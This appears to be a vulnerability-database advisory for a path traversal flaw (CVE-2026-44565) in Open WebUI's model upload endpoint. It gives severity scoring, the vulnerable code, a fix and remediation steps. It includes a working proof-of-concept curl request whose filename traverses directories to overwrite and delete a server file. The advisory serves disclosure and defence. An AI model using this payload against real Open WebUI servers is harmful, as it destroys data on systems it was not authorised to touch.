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Open WebUI CVE-2026-44565

HIGH
Path Traversal (CWE-22)
2026-05-11 https://github.com/open-webui/open-webui GHSA-j3fw-wc48-29g3
8.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 11, 2026 - 14:30 vuln.today
Analysis Generated
May 11, 2026 - 14:30 vuln.today
CVE Published
May 11, 2026 - 14:03 nvd
HIGH 8.1

DescriptionGitHub Advisory

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation -----------------------------------------------

Vulnerability Details ---------------------

  1. Discoverer: Taylor Pennington of KoreLogic, Inc.
  2. Date Submitted: June 11, 2024
  3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
  4. High-level Summary:

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted.

  1. Affected Vendor: Open WebUI
  2. Affected Product(s): Open WebUI (Formerly Ollama WebUI)
  3. Affected Version(s): 0.1.105
  4. Platform/OS: Debian GNU/Linux 12 (bookworm)
  5. Vector: HTTP web interface
  6. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  7. Technical Analysis:

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):

   def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):
    if url_idx == None:
        url_idx = 0
    ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]

    file_path = f"{UPLOAD_DIR}/{file.filename}"
# Save file in chunks
    with open(file_path, "wb+") as f:
        for chunk in file.file:
            f.write(chunk)

    def file_process_stream():
        nonlocal ollama_url
        total_size = os.path.getsize(file_path)
        chunk_size = 1024 * 1024
        try:
            with open(file_path, "rb") as f:
                total = 0
                done = False

                while not done:
                    chunk = f.read(chunk_size)
                    if not chunk:
                        done = True
                        continue

                    total += len(chunk)
                    progress = round((total / total_size) * 100, 2)

                    res = {
                        "progress": progress,
                        "total": total_size,
                        "completed": total,
                    }
                    yield f"data: {json.dumps(res)}\n\n"

                if done:
                    f.seek(0)
                    hashed = calculate_sha256(f)
                    f.seek(0)

                    url = f"{ollama_url}/api/blobs/sha256:{hashed}"
                    response = requests.post(url, data=f)

                    if response.ok:
                        res = {
                            "done": done,
                            "blob": f"sha256:{hashed}",
                            "name": file.filename,
                        }
                        os.remove(file_path)
                        yield f"data: {json.dumps(res)}\n\n"
                    else:
                        raise Exception(
                            "Ollama: Could not create blob, Please try again."
                        )

        except Exception as e:
            res = {"error": str(e)}
            yield f"data: {json.dumps(res)}\n\n"

    return StreamingResponse(file_process_stream(), media_type="text/event-stream")

The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, os.remove(file_path).

This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over.

It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated.

  1. Proof-of-Concept:

First, create a file under the /tmp directory named DELETE_ME while logged in as the user account of the web application or chown the file to be owned by the open-webui user.

# su ollama
# touch /tmp/DELETE_ME

Execute the following cURL command after replacing the exported JWT value for a valid user session:

    export JWT="JWT_HERE"; curl -s -X $'POST' \
    -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
    --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
    $'https://openwebui.example.com/ollama/models/upload'

Verify that /tmp/DELETE_ME has been deleted.

  1. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to:
filename = os.path.basename(file.filename)
file_path = f"{UPLOAD_DIR}/{filename}"

AnalysisAI

Path traversal in Open WebUI's file upload mechanism allows authenticated attackers to write and subsequently delete arbitrary files on the server filesystem. Discovered by Taylor Pennington of KoreLogic, this vulnerability affects the /ollama/models/upload API endpoint where unsanitized filename parameters enable directory traversal using dot-segments. The vulnerability requires low-privilege authentication (PR:L) and has straightforward exploitation (AC:L), confirmed by a published GitHub security advisory (GHSA-j3fw-wc48-29g3) with working proof-of-concept code. Vendor-released patch available in version 0.6.10. No evidence of active exploitation (not in CISA KEV) at time of analysis.

Technical ContextAI

Open WebUI (formerly Ollama WebUI) is a Python-based web interface for interacting with Ollama language models, distributed as a pip package. The vulnerability stems from CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) in the FastAPI upload handler at backend/apps/ollama/main.py. The code directly concatenates user-supplied file.filename into the file_path variable without validation: 'file_path = f"{UPLOAD_DIR}/{file.filename}"'. This allows attackers to inject path traversal sequences like '../../../tmp/target_file' to escape the intended UPLOAD_DIR. The vulnerable code writes uploaded content in chunks to disk, sends it to an internal Ollama API for processing, then unconditionally deletes the file via os.remove(file_path). While the file deletion occurs after processing, attackers gain write-then-delete primitives against any path accessible to the application's runtime user, creating both integrity and availability impacts. The Python os.path module provides os.path.basename() for safe filename extraction, which the fix implements.

RemediationAI

Upgrade to Open WebUI version 0.6.10 or later, which implements filename sanitization using os.path.basename() to strip directory traversal sequences per the vendor's GitHub security advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3. For environments unable to immediately upgrade, implement compensating controls: restrict filesystem permissions for the Open WebUI service account to only the UPLOAD_DIR and necessary application directories using Linux DAC or mandatory access controls (SELinux/AppArmor), preventing write access to critical system paths-this limits blast radius but does not eliminate the vulnerability within accessible directories. Deploy a reverse proxy with request inspection to block filenames containing path traversal sequences (../, .\, absolute paths) before reaching the application backend; note this creates maintenance overhead and may be bypassed via URL encoding variations. Run the Open WebUI container or process under a dedicated low-privilege user account with minimal filesystem permissions as defense-in-depth. Audit existing user accounts and revoke access for untrusted users in multi-tenant deployments. The vendor-supplied patch is the definitive solution with no functional trade-offs.

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CVE-2026-44565 vulnerability details – vuln.today

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